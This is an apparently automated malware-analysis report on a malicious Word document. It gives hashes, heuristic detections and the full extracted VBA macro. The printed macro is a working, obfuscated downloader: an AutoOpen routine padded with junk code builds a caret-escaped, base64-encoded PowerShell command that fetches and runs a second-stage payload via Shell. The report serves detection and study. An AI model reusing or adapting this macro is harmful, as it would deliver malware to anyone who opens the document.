Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cdaef5896c7d559a…

MALICIOUS

Office (OLE)

94.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 37c970ef6416c852ce13ea48b59e375b SHA-1: 46bc6f426215ab5fdea0979262fd672f9b46e586 SHA-256: cdaef5896c7d559a798934b0700ec6b59bbcc5c1ef464ecc847badfe0fa3abd3
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Microsoft Word document containing a VBA macro. The AutoOpen macro is designed to execute a command-line process, likely PowerShell, to download and execute a second-stage payload. The reconstructed command string is 'cmd.exe /c P^WerseLL.exe -EC KABOAGUAdwAtAE8YgBqAGUAYwAAUwMAAdwB5A...' which indicates an attempt to run PowerShell with encoded commands. This is supported by the critical OLE_VBA_SHELL and OLE_VBA_CMD heuristics.

Heuristics 9

  • ClamAV: Doc.Downloader.00536d-6720548-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6720548-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    LuKikAmixipYaETomTuqyBYiAiZXUq_2(1) = ciiYQiPAaaJaQuS & CStr("8398")
  Call VBA.Interaction.Shell(mUiAnoWFOgoRYByjUmUNuLekiSEtoxyryGIWORofaW, (10 / 10) - 1)
Dim HafYMIXUVuxoLoSsISiDoiecydiJiVulEFULySATI(2)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    leJIwucAJUgEutiViDEpidUQOBIxGeCihagxy_7(1) = lOqYnyquBYmOneqE & CStr("2072")
fYMOtAtumIMyzOLfufENiLZaGU = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A^C^8^A"
Dim cYLaWaLycaSOCPyCYraqxEGORirarEkeiE(2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Const ZIiaPinIjYaVeLutEXiravozELIp = 0
Sub AutoOpen()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12896 bytes
SHA-256: 1f1609cbb1359382a7179d445578509723e57af957714a5359836defc6d7fb9e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const ZIiaPinIjYaVeLutEXiravozELIp = 0
Sub AutoOpen()
On Error Resume Next
Dim WuwaoVuYvOhykezAdAnhanCilYJuauBxI(2)
Dim WuwaoVuYvOhykezAdAnhanCilYJuauBxI_10(2)
If InStr(10, "QAGUKiWEPICOpoSDynAnaWO", "WuwaoVuYvOhykezAdAnhanCilYJuauBxI") Then
  WuwaoVuYvOhykezAdAnhanCilYJuauBxI(0) = InStrRev("QAGUKiWEPICOpoSDynAnaWO", "WuwaoVuYvOhykezAdAnhanCilYJuauBxI")
  IsError CVErr(2482)
End If
IsError CVErr(1110)
If Len(Oct(2482)) > 10 Then
 WuwaoVuYvOhykezAdAnhanCilYJuauBxI(1) = Hex(11 ^ 10)
End If
WuwaoVuYvOhykezAdAnhanCilYJuauBxI_10(0) = Now
VarType IsNumeric(CInt("2482"))
WuwaoVuYvOhykezAdAnhanCilYJuauBxI_10(1) = QAGUKiWEPICOpoSDynAnaWO & CStr("2482")
Dim leJIwucAJUgEutiViDEpidUQOBIxGeCihagxy(2)
Dim leJIwucAJUgEutiViDEpidUQOBIxGeCihagxy_7(2)
If InStr(7, "lOqYnyquBYmOneqE", "leJIwucAJUgEutiViDEpidUQOBIxGeCihagxy") Then
  leJIwucAJUgEutiViDEpidUQOBIxGeCihagxy(0) = InStrRev("lOqYnyquBYmOneqE", "leJIwucAJUgEutiViDEpidUQOBIxGeCihagxy")
  IsError CVErr(2072)
End If
IsError CVErr(127)
If Len(Oct(2072)) > 7 Then
 leJIwucAJUgEutiViDEpidUQOBIxGeCihagxy(1) = Hex(12 ^ 7)
End If
leJIwucAJUgEutiViDEpidUQOBIxGeCihagxy_7(0) = Now
VarType IsNumeric(CInt("2072"))
leJIwucAJUgEutiViDEpidUQOBIxGeCihagxy_7(1) = lOqYnyquBYmOneqE & CStr("2072")
fYMOtAtumIMyzOLfufENiLZaGU = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A^C^8^A"
Dim cYLaWaLycaSOCPyCYraqxEGORirarEkeiE(2)
Dim cYLaWaLycaSOCPyCYraqxEGORirarEkeiE_6(2)
If InStr(6, "RUheVoDezypECEQUtyNYPIhy", "cYLaWaLycaSOCPyCYraqxEGORirarEkeiE") Then
  cYLaWaLycaSOCPyCYraqxEGORirarEkeiE(0) = InStrRev("RUheVoDezypECEQUtyNYPIhy", "cYLaWaLycaSOCPyCYraqxEGORirarEkeiE")
  IsError CVErr(685)
End If
IsError CVErr(116)
If Len(Oct(685)) > 6 Then
 cYLaWaLycaSOCPyCYraqxEGORirarEkeiE(1) = Hex(11 ^ 6)
End If
cYLaWaLycaSOCPyCYraqxEGORirarEkeiE_6(0) = Now
VarType IsNumeric(CInt("685"))
cYLaWaLycaSOCPyCYraqxEGORirarEkeiE_6(1) = RUheVoDezypECEQUtyNYPIhy & CStr("685")
Dim OKaVYpoMrUsePjyRAfofpAGUXuLIHa(2)
Dim OKaVYpoMrUsePjyRAfofpAGUXuLIHa_6(2)
If InStr(6, "VyXakedALIc", "OKaVYpoMrUsePjyRAfofpAGUXuLIHa") Then
  OKaVYpoMrUsePjyRAfofpAGUXuLIHa(0) = InStrRev("VyXakedALIc", "OKaVYpoMrUsePjyRAfofpAGUXuLIHa")
  IsError CVErr(7045)
End If
IsError CVErr(116)
If Len(Oct(7045)) > 6 Then
 OKaVYpoMrUsePjyRAfofpAGUXuLIHa(1) = Hex(11 ^ 6)
End If
OKaVYpoMrUsePjyRAfofpAGUXuLIHa_6(0) = Now
VarType IsNumeric(CInt("7045"))
OKaVYpoMrUsePjyRAfofpAGUXuLIHa_6(1) = VyXakedALIc & CStr("7045")

Dim vUKyDYJSRikUKyxyXyxsIgicOlO(2)
Dim vUKyDYJSRikUKyxyXyxsIgicOlO_10(2)
If InStr(10, "capaiOCYGAK", "vUKyDYJSRikUKyxyXyxsIgicOlO") Then
  vUKyDYJSRikUKyxyXyxsIgicOlO(0) = InStrRev("capaiOCYGAK", "vUKyDYJSRikUKyxyXyxsIgicOlO")
  IsError CVErr(5873)
End If
IsError CVErr(1210)
If Len(Oct(5873)) > 10 Then
 vUKyDYJSRikUKyxyXyxsIgicOlO(1) = Hex(12 ^ 10)
End If
vUKyDYJSRikUKyxyXyxsIgicOlO_10(0) = Now
VarType IsNumeric(CInt("5873"))
vUKyDYJSRikUKyxyXyxsIgicOlO_10(1) = capaiOCYGAK & CStr("5873")
ZekUvuPanUruPEjfNEWquxezugUHIryOHObEd = "^L^w^B^3^A^G^8^A^Y^Q^B^0^A^G^k^A^b^g^B^r^A^" + Chr(2 + (35 * 2)) + "^c^A^b^w^B^v^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^c^A^B^" + Chr(1 + 10 + (75) + 25) + "^A^" + Chr(2 + (35 * 2)) + "^A^A^P^w^B^s^A^D^0^A^c^g^B^l^A^G^U^A^e^g^B^h^A^D^Q^A^L^g^B^4^A^G^E^A^c^A^A^i^A^C^w^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^" + Chr(1 + 10 + (75) + 25) + "^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^g^A^C^s^A^I^A^A^n^A^F^w^A"
Dim LeecusYiABUCaViBiGuheuvulebyj(2)
Dim LeecusYiABUCaViBiGuheuvulebyj_1(2)
If InStr(1, "gOJCAcEdYcAm", "LeecusYiABUCaViBiGuheuvulebyj") Then
  LeecusYiABUCaViBiGuheuvulebyj(0) = InStrRev("gOJCAcEdYcAm", "LeecusYiABUCaViBiGuheuvulebyj")
  IsError CVErr(7758)
End If
IsError CVErr(131)
If Len(Oct(7758)) > 1 Then
 LeecusYiABUCaViBiGuheuvulebyj(1) = Hex(13 ^ 1)
End If
LeecusYiABUCaViBiGuheuvulebyj_1(0) = Now
VarType IsNumeric(CInt("7758"))
LeecusYiABUCaViBiGuheuvulebyj_1(1) = gOJCAcEdYcAm & CStr("7758")


Dim BAWykuzoFAEZeTucaPjeJahiWoaSuSanUqyVIa(2)
Dim BAWykuzoFAEZeTucaPjeJahiWoaSuSanUqyVIa_6(2)
If InStr(6, "RYWEYbeNaGALYXEXwAXy", "BAWykuzoFAEZeTucaPjeJahiWoaSuSanUqyVIa") Then
  BAWykuzoFAEZeTucaPjeJahiWoaSuSanUqyVIa(0) = InStrRev("RYWEYbeNaGALYXEXwAXy", "BAWykuzoFAEZeTucaPjeJahiWoaSuSanUqyVIa")
  IsError CVErr(1725)
End If
IsError CVErr(126)
If Len(Oct(1725)) > 6 Then
 BAWykuzoFAEZeTucaPjeJahiWoaSuSanUqyVIa(1) = Hex(12 ^ 6)
End If
BAWykuzoFAEZeTucaPjeJahiWoaSuSanUqyVIa_6(0) = Now
VarType IsNumeric(CInt("1725"))
BAWykuzoFAEZeTucaPjeJahiWoaSuSanUqyVIa_6(1) = RYWEYbeNaGALYXEXwAXy & CStr("1725")
Dim LayfAJunYlOkaFERdeqyGiTeBoHe(2)
Dim LayfAJunYlOkaFERdeqyGiTeBoHe_10(2)
If InStr(10, "VUdOWAkIjqYvOriCilyTYw", "LayfAJunYlOkaFERdeqyGiTeBoHe") Then
  LayfAJunYlOkaFERdeqyGiTeBoHe(0) = InStrRev("VUdOWAkIjqYvOriCilyTYw", "LayfAJunYlOkaFERdeqyGiTeBoHe")
  IsError CVErr(4379)
End If
IsError CVErr(1010)
If Len(Oct(4379)) > 10 Then
 LayfAJunYlOkaFERdeqyGiTeBoHe(1) = Hex(10 ^ 10)
End If
LayfAJunYlOkaFERdeqyGiTeBoHe_10(0) = Now
VarType IsNumeric(CInt("4379"))
LayfAJunYlOkaFERdeqyGiTeBoHe_10(1) = VUdOWAkIjqYvOriCilyTYw & CStr("4379")
WiRyWImaVvObFECIxiqaqoajIlUWisU = "^O^A^A^4^A^D^U^A^Y^w^B^i^A^G^Y^A^N^Q^A^y^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^s^A^I^A^B^T^A^" + Chr(2 + (35 * 2)) + "^Q^A^Y^Q^B^y^A^" + Chr(2 + (35 * 2)) + "^Q^A^L^Q^B^Q^A^" + Chr(2 + (35 * 2)) + "^I^A^b^w^B^j^A^G^U^A^c^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^c^A^D^g^A^O^A^A^1^A^G^M^A^Y^g^B^m^A^D^U^A^M^g^A^u^A^G^U^A^e^A^B^l^A^C^c^A^O^w^A^g^A^E^U^A^e^A^B^p^A^" + Chr(2 + (35 * 2)) + "^Q^A"


Dim wyQaCuNySuBiZEgPekYlEQwiQUKAriZsIni(2)
Dim wyQaCuNySuBiZEgPekYlEQwiQUKAriZsIni_8(2)
If InStr(8, "rIKEXikaruXePeGYQYwy", "wyQaCuNySuBiZEgPekYlEQwiQUKAriZsIni") Then
  wyQaCuNySuBiZEgPekYlEQwiQUKAriZsIni(0) = InStrRev("rIKEXikaruXePeGYQYwy", "wyQaCuNySuBiZEgPekYlEQwiQUKAriZsIni")
  IsError CVErr(4173)
End If
IsError CVErr(118)
If Len(Oct(4173)) > 8 Then
 wyQaCuNySuBiZEgPekYlEQwiQUKAriZsIni(1) = Hex(11 ^ 8)
End If
wyQaCuNySuBiZEgPekYlEQwiQUKAriZsIni_8(0) = Now
VarType IsNumeric(CInt("4173"))
wyQaCuNySuBiZEgPekYlEQwiQUKAriZsIni_8(1) = rIKEXikaruXePeGYQYwy & CStr("4173")
Dim xyZEbiJbISYxaqyxyWArCUrDVeqUdAa(2)
Dim xyZEbiJbISYxaqyxyWArCUrDVeqUdAa_6(2)
If InStr(6, "ywAgohIOautegqAJeMiRe", "xyZEbiJbISYxaqyxyWArCUrDVeqUdAa") Then
  xyZEbiJbISYxaqyxyWArCUrDVeqUdAa(0) = InStrRev("ywAgohIOautegqAJeMiRe", "xyZEbiJbISYxaqyxyWArCUrDVeqUdAa")
  IsError CVErr(9696)
End If
IsError CVErr(126)
If Len(Oct(9696)) > 6 Then
 xyZEbiJbISYxaqyxyWArCUrDVeqUdAa(1) = Hex(12 ^ 6)
End If
xyZEbiJbISYxaqyxyWArCUrDVeqUdAa_6(0) = Now
VarType IsNumeric(CInt("9696"))
xyZEbiJbISYxaqyxyWArCUrDVeqUdAa_6(1) = ywAgohIOautegqAJeMiRe & CStr("9696")
PDECEZOginacIDUVyxGAmUFoJIgunl = "^O^w^A^="


Dim TFonagahikaCMuPAaiKyxUPiZiWuToj(2)
Dim TFonagahikaCMuPAaiKyxUPiZiWuToj_6(2)
If InStr(6, "aafilUkAkYb", "TFonagahikaCMuPAaiKyxUPiZiWuToj") Then
  TFonagahikaCMuPAaiKyxUPiZiWuToj(0) = InStrRev("aafilUkAkYb", "TFonagahikaCMuPAaiKyxUPiZiWuToj")
  IsError CVErr(7362)
End If
IsError CVErr(116)
If Len(Oct(7362)) > 6 Then
 TFonagahikaCMuPAaiKyxUPiZiWuToj(1) = Hex(11 ^ 6)
End If
TFonagahikaCMuPAaiKyxUPiZiWuToj_6(0) = Now
VarType IsNumeric(CInt("7362"))
TFonagahikaCMuPAaiKyxUPiZiWuToj_6(1) = aafilUkAkYb & CStr("7362")
Call ROijOlArYgOsFTYiagyrewYzKYxIzeZary(fYMOtAtumIMyzOLfufENiLZaGU & "", ZekUvuPanUruPEjfNEWquxezugUHIryOHObEd + CStr(""), WiRyWImaVvObFECIxiqaqoajIlUWisU, "yoq1duqp2710suq", PDECEZOginacIDUVyxGAmUFoJIgunl)

End Sub
Sub ROijOlArYgOsFTYiagyrewYzKYxIzeZary(fYMOtAtumIMyzOLfufENiLZaGU, ZekUvuPanUruPEjfNEWquxezugUHIryOHObEd, WiRyWImaVvObFECIxiqaqoajIlUWisU, JAzywnuHaGIsYPYGUwhVoXYnoZYJeL, PDECEZOginacIDUVyxGAmUFoJIgunl)
On Error Resume Next


Dim RAJULyXofUlYsucUXiZaDiWRAdOxylEVA(2)
Dim RAJULyXofUlYsucUXiZaDiWRAdOxylEVA_6(2)
If InStr(6, "tIZasElIxekopYSOJEPyq", "RAJULyXofUlYsucUXiZaDiWRAdOxylEVA") Then
  RAJULyXofUlYsucUXiZaDiWRAdOxylEVA(0) = InStrRev("tIZasElIxekopYSOJEPyq", "RAJULyXofUlYsucUXiZaDiWRAdOxylEVA")
  IsError CVErr(5172)
End If
IsError CVErr(126)
If Len(Oct(5172)) > 6 Then
 RAJULyXofUlYsucUXiZaDiWRAdOxylEVA(1) = Hex(12 ^ 6)
End If
RAJULyXofUlYsucUXiZaDiWRAdOxylEVA_6(0) = Now
VarType IsNumeric(CInt("5172"))
RAJULyXofUlYsucUXiZaDiWRAdOxylEVA_6(1) = tIZasElIxekopYSOJEPyq & CStr("5172")
Dim kOFAayfarwoqXomioduFehYNAxofYCejuXoWe(2)
Dim kOFAayfarwoqXomioduFehYNAxofYCejuXoWe_5(2)
If InStr(5, "ZYBaVeMeTekEmYne", "kOFAayfarwoqXomioduFehYNAxofYCejuXoWe") Then
  kOFAayfarwoqXomioduFehYNAxofYCejuXoWe(0) = InStrRev("ZYBaVeMeTekEmYne", "kOFAayfarwoqXomioduFehYNAxofYCejuXoWe")
  IsError CVErr(8723)
End If
IsError CVErr(115)
If Len(Oct(8723)) > 5 Then
 kOFAayfarwoqXomioduFehYNAxofYCejuXoWe(1) = Hex(11 ^ 5)
End If
kOFAayfarwoqXomioduFehYNAxofYCejuXoWe_5(0) = Now
VarType IsNumeric(CInt("8723"))
kOFAayfarwoqXomioduFehYNAxofYCejuXoWe_5(1) = ZYBaVeMeTekEmYne & CStr("8723")
  mUiAnoWFOgoRYByjUmUNuLekiSEtoxyryGIWORofaW = Join(Array(fYMOtAtumIMyzOLfufENiLZaGU, ZekUvuPanUruPEjfNEWquxezugUHIryOHObEd, WiRyWImaVvObFECIxiqaqoajIlUWisU, PDECEZOginacIDUVyxGAmUFoJIgunl), "")
Dim VUnYpoDQAPyCUCEaUXaHuZEmILYHoMOxYrOWitEKi(2)
Dim VUnYpoDQAPyCUCEaUXaHuZEmILYHoMOxYrOWitEKi_7(2)
If InStr(7, "lOTEWovYNUDaKYh", "VUnYpoDQAPyCUCEaUXaHuZEmILYHoMOxYrOWitEKi") Then
  VUnYpoDQAPyCUCEaUXaHuZEmILYHoMOxYrOWitEKi(0) = InStrRev("lOTEWovYNUDaKYh", "VUnYpoDQAPyCUCEaUXaHuZEmILYHoMOxYrOWitEKi")
  IsError CVErr(4389)
End If
IsError CVErr(107)
If Len(Oct(4389)) > 7 Then
 VUnYpoDQAPyCUCEaUXaHuZEmILYHoMOxYrOWitEKi(1) = Hex(10 ^ 7)
End If
VUnYpoDQAPyCUCEaUXaHuZEmILYHoMOxYrOWitEKi_7(0) = Now
VarType IsNumeric(CInt("4389"))
VUnYpoDQAPyCUCEaUXaHuZEmILYHoMOxYrOWitEKi_7(1) = lOTEWovYNUDaKYh & CStr("4389")
  
Dim LuKikAmixipYaETomTuqyBYiAiZXUq(2)
Dim LuKikAmixipYaETomTuqyBYiAiZXUq_2(2)
If InStr(2, "ciiYQiPAaaJaQuS", "LuKikAmixipYaETomTuqyBYiAiZXUq") Then
  LuKikAmixipYaETomTuqyBYiAiZXUq(0) = InStrRev("ciiYQiPAaaJaQuS", "LuKikAmixipYaETomTuqyBYiAiZXUq")
  IsError CVErr(8398)
End If
IsError CVErr(112)
If Len(Oct(8398)) > 2 Then
 LuKikAmixipYaETomTuqyBYiAiZXUq(1) = Hex(11 ^ 2)
End If
LuKikAmixipYaETomTuqyBYiAiZXUq_2(0) = Now
VarType IsNumeric(CInt("8398"))
LuKikAmixipYaETomTuqyBYiAiZXUq_2(1) = ciiYQiPAaaJaQuS & CStr("8398")
  Call VBA.Interaction.Shell(mUiAnoWFOgoRYByjUmUNuLekiSEtoxyryGIWORofaW, (10 / 10) - 1)
Dim HafYMIXUVuxoLoSsISiDoiecydiJiVulEFULySATI(2)
Dim HafYMIXUVuxoLoSsISiDoiecydiJiVulEFULySATI_9(2)
If InStr(9, "ViQiXEHaveQAqUqIGUneaxO", "HafYMIXUVuxoLoSsISiDoiecydiJiVulEFULySATI") Then
  HafYMIXUVuxoLoSsISiDoiecydiJiVulEFULySATI(0) = InStrRev("ViQiXEHaveQAqUqIGUneaxO", "HafYMIXUVuxoLoSsISiDoiecydiJiVulEFULySATI")
  IsError CVErr(252)
End If
IsError CVErr(129)
If Len(Oct(252)) > 9 Then
 HafYMIXUVuxoLoSsISiDoiecydiJiVulEFULySATI(1) = Hex(12 ^ 9)
End If
HafYMIXUVuxoLoSsISiDoiecydiJiVulEFULySATI_9(0) = Now
VarType IsNumeric(CInt("252"))
HafYMIXUVuxoLoSsISiDoiecydiJiVulEFULySATI_9(1) = ViQiXEHaveQAqUqIGUneaxO & CStr("252")


Dim KAMUKUXuGEkuWaqoBybOSYdEdyzIlAMyXE(2)
Dim KAMUKUXuGEkuWaqoBybOSYdEdyzIlAMyXE_3(2)
If InStr(3, "wyYkipimRyqUXOgaGSu", "KAMUKUXuGEkuWaqoBybOSYdEdyzIlAMyXE") Then
  KAMUKUXuGEkuWaqoBybOSYdEdyzIlAMyXE(0) = InStrRev("wyYkipimRyqUXOgaGSu", "KAMUKUXuGEkuWaqoBybOSYdEdyzIlAMyXE")
  IsError CVErr(4488)
End If
IsError CVErr(113)
If Len(Oct(4488)) > 3 Then
 KAMUKUXuGEkuWaqoBybOSYdEdyzIlAMyXE(1) = Hex(11 ^ 3)
End If
KAMUKUXuGEkuWaqoBybOSYdEdyzIlAMyXE_3(0) = Now
VarType IsNumeric(CInt("4488"))
KAMUKUXuGEkuWaqoBybOSYdEdyzIlAMyXE_3(1) = wyYkipimRyqUXOgaGSu & CStr("4488")
Dim DogeTyhinOdabDUaixOZOpYiOJAT(2)
Dim DogeTyhinOdabDUaixOZOpYiOJAT_3(2)
If InStr(3, "JEdewExEvIiIVApEpUCElOTi", "DogeTyhinOdabDUaixOZOpYiOJAT") Then
  DogeTyhinOdabDUaixOZOpYiOJAT(0) = InStrRev("JEdewExEvIiIVApEpUCElOTi", "DogeTyhinOdabDUaixOZOpYiOJAT")
  IsError CVErr(9877)
End If
IsError CVErr(113)
If Len(Oct(9877)) > 3 Then
 DogeTyhinOdabDUaixOZOpYiOJAT(1) = Hex(11 ^ 3)
End If
DogeTyhinOdabDUaixOZOpYiOJAT_3(0) = Now
VarType IsNumeric(CInt("9877"))
DogeTyhinOdabDUaixOZOpYiOJAT_3(1) = JEdewExEvIiIVApEpUCElOTi & CStr("9877")

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.